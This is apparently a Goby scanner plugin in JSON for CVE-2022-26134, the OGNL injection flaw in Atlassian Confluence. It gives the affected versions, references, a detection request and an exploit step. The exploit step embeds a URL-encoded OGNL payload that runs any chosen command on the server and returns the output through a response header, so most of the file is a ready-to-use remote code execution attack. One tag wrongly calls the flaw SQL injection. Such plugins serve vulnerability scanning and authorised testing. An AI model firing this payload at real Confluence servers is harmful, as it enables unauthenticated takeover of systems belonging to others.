Atlassian_Confluence_OGNL_Injection_RCE_CVE_2022_26134.json

{
      "Name": "Atlassian Confluence OGNL Injection RCE CVE-2022-26134",
      "Level": "3",
      "Tags": [
            "sqli",
            "rce"
      ],
      "GobyQuery": "app=\"Confluence\" || product=\"Confluence\" || company=\"Atlassian\"",
      "Description": "Confluence is Atlassian's professional enterprise knowledge management and collaboration software, which can also be used to build enterprise wikis.",
      "Product": "Atlassian Confluence",
      "Homepage": "https://www.atlassian.com",
      "Author": "",
      "Impact": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.",
      "Recommendation": "https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-26134",
            "https://jira.atlassian.com/browse/CONFSERVER-79016",
            "https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Command",
                  "Type": "input",
                  "Value": "whoami"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "302",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$head",
                                    "operation": "contains",
                                    "value": "X-Cmd-Response:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "GET",
                        "uri": "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22{{{Command}}}%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/",
                        "follow_redirect": false,
                        "header": null,
                        "data_type": "text",
                        "data": "",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "302",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$head",
                                    "operation": "contains",
                                    "value": "X-Cmd-Response:",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastheader|regex|X-Cmd-Response: (.*)"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}